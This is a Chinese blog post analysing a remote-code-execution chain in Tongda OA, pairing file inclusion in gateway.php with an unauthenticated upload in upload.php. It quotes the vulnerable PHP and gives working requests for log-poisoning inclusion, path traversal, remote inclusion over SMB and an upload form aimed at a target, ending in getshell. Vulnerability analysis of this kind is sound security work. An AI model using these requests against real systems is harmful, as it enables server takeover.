通达OA 最新RCE漏洞的简单分析
本文首发于I春秋
前言
最近工作比较忙,本来上周看到这个漏洞的时候就想学习一下,结果因为各种事,一直拖着,正好趁今天有点时间,来简单学习一下。楼主也是最近才学习PHP,所以肯定有很多不足之处。这篇文章既是分享,也是在督促自己学习。
漏洞点1,文件包含:
漏洞地址:/ispirit/interface/gateway.php
<?php
ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";
//$P不为空的时候才进行登录状态的判断。如果不传递$P则可直接绕过这部分的判断。
if ($P != "") {
if (preg_match("/[^a-z0-9;]+/i", $P)) {
echo _("非法参数");
exit();
}
session_id($P);
session_start();
session_write_close();
if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
echo _("RELOGIN");
exit();
}
}
if ($json) {
$json = stripcslashes($json);//stripcslashes 删除数据中的反斜杠
$json = (array) json_decode($json); //将传递的字符串转换为数组
/*
例子:
$a = array('Tom','Mary','Peter','Jack');
foreach ($a as $value) {
echo $value."<br/>";
}
输出结果为:
Tom
Mary
Peter
Jack
而使用
foreach ($a as $key => $value) {
echo $key.','.$value."<br/>";
}
输出结果为:
0,Tom
1,Mary
2,Peter
3,Jack
*/
foreach ($json as $key => $val ) { //遍历给定的 数组语句$json数组。每次循环中,同时当前单元的键名也会在每次循环中被赋给变量 $key
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") { //当传递过来的数组中,包含url这个关键值则将其赋值给url
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
//这里截取url中的0,1字段,如果为/,则再次进行截断,从第二位开始截取之后的值
//如$url = "/http://",这时满足if,最后url输出的值为http://
}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
/*
strpos函数的作业是判断字符串中,是否含有某些字符串,而 !== false 这种判断是不严谨的,因为只要在URL中包含这些字符串就能绕过它的限制。
这里可以看到,如果我们传递的URL中包含这些字符串,那么就能进入到include_once 这一步。(include 文件包含漏洞)
*/
}
}
exit();
}
?>
总结
只有包含$P 才会进入到身份验证。并且传递的json数据中,需要有url这个关键值。最后value中需要包含general/,ispirit/,module/,才能进入到利用点。
到这里利用思路应该清晰了:
a. 包含日志
b. 远程文件包含,通过SMB或者webdav进行bypass
c. 包含上传文件
利用
1.包含日志,从通达OA的安装来看,其使用了Nginx,且开启了日志,那么我们访问的记录都会被记录到Nginx 的log日志中。(实测成功率不太高,可能是我姿势不够骚,不过是一种很好的思路)
访问
/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>
然后通过如下url进行文件包含利用
/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
2.远程文件包含,首先我们知道要满足远程文件包含,需要双ON的情况下才可以。那么,通达OA很明显是不满足的。之前看了篇文章,利用SMB匿名共享来绕过这个限制。
2.1 开启smb共享,参考(https://xz.aliyun.com/t/5139)
2.2 远程包含,成功执行
2.3 webdav的同理,这里不做演示了。
漏洞点2,前台文件上传:
漏洞地址:ispirit/im/upload.php
<?php
set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}
include_once "inc/utility_file.php";
include_once "inc/utility_msg.php";
include_once "mobile/inc/funcs.php";
ob_end_clean();
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
if (strpos($DEST_UID, ",") !== false) {
}
else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}
$MODULE = "im";
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == "1") {
if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
}
}
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
if (!is_array($ATTACHMENTS)) {
$dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit();
}
ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);
if ($TYPE == "mobile") {
$ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), "utf-8", MYOA_CHARSET);
}
}
else {
$dataBack = array("status" => 0, "content" => "-ERR " . _("无文件上传"));
echo json_encode(data2utf8($dataBack));
exit();
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("文件上传失败"));
echo json_encode(data2utf8($dataBack));
exit();
}
if ($UPLOAD_MODE == "1") {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
$P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0);
$MSG_CATE = $_POST["MSG_CATE"];
if ($MSG_CATE == "file") {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
}
else if ($MSG_CATE == "image") {
$CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
}
else {
$DURATION = intval($DURATION);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
}
$AID = 0;
$POS = strpos($ATTACHMENT_ID, "@");
if ($POS !== false) {
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
}
$query = "INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0','$AID')";
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("数据库操作失败"));
echo json_encode(data2utf8($dataBack));
exit();
}
$dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit();
}
else if ($UPLOAD_MODE == "2") {
$DURATION = intval($_POST["DURATION"]);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
$query = "INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('" . $_SESSION["LOGIN_UID"] . "', '" . $CONTENT . "', '" . time() . "')";
$cursor = exequery(TD::conn(), $query);
echo "+OK " . $CONTENT;
}
else if ($UPLOAD_MODE == "3") {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
echo "+OK " . $ATTACHMENT_ID;
}
else {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
$msg_id = send_msg($_SESSION["LOGIN_UID"], $DEST_UID, 1, $CONTENT, "", 2);
$query = "insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0')";
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
echo "-ERR " . _("数据库操作失败");
exit();
}
if ($FILE_ID == 0) {
echo "-ERR " . _("数据库操作失败2");
exit();
}
echo "+OK ," . $FILE_ID . "," . $msg_id;
exit();
}
?>
分析:
auth.php 为登录状态判断的页面
接收POST传递的参数P不为空,就不会进入到登录状态判断。
所以,我们只要在POST参数中传递$P为任意值就能绕过限制
这里我们写个上传页面来测试一下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h1>hello worlds</h1>
<form action="http://192.168.52.128/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<p><input type="hidden" name="P"></p>
<p><input type="file" name="upload"></p>
<p><input type="submit" value="submit"></p>
</form>
</body>
</html>
然后抓包查看一下,提示接收方ID无效
这个时候,我们在看下代码,代码中需要POST传递两个参数 TYPE(type这个从上下文中看,并不关键) 和 DEST_UID,而且当DEST_UID = 0的时候,UPLOAD_MODE必须为2,否则也会提示无效。
我们接着往下看代码,从这里得知,我们上传文件的时候,应该讲file的name设置ATTACHMENT,否则也会上传失败。
那么这个时候,我们抓包修改一下参数,就实现了前台文件上传。
这个时候,我们全局搜索一下上传的文件,发现在attach/im/2003中,这里上图的返回值中也能看出来,2003代表目录,866代表文件名
总结
其实前台上传并没有太多难点,而之所以它在这里算做一个漏洞,是因为配合了文件包含漏洞,通过文件包含解析上传文件中的PHP代码而形成一个完整的攻击链
利用
到这里这次两个漏洞的利用链就完整起来了。通过前台文件上传+文件包含实现getshell。